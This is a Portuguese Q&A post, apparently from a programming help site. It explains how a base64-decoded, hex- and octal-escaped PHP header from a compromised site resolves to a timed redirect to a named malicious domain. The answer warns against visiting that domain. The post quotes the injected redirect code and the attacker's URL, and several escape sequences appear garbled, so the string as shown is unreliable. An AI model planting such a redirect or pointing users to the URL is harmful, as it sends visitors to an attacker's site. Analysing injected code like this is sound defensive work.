Que tipo de codificação é essa?

Question

Encontrei alguns textos codificados em base64 em um arquivo php comprometido. Quando decodifiquei a string base64, foi a seguinte diretiva:

header("R5\x66resh2\x20\x32\x35\x3b\x20\x75r\x6c5\"\x6844\x70\x3a7763b\x612\x6354on147\x6473\x6fm.\x69\x6e\x6677uk\"");

Que tipo de codificação é essa sequência de URL? Eu pensei hex inicialmente, depois ascii, mas seu comprimento variável. Eu fiz o google, mas sem sucesso. Alguém pode me apontar na direção certa?

    

Answer 1

Warning:

The below URL comes from a compromised website.

Visiting it benefits the attacker financially and might harm your computer.

A string significa

Refresh: 25; url="http://fcbarcelonadodocom.info/uk"

5 é o ponto de código 145 (octal), \x66 é o ponto de código 66 (hexadecimal).

Para verificar:

1. Executar

   php
   

2. Digite

   <?php
       echo "R5\x66resh2\x20\x32\x35\x3b\x20\x75r\x6c5\"\x6844\x70\x3a7763b\x612\x6354on147\x6473\x6fm.\x69\x6e\x6677uk\"";
   ?>
   

3. Pressione Ctrl + D .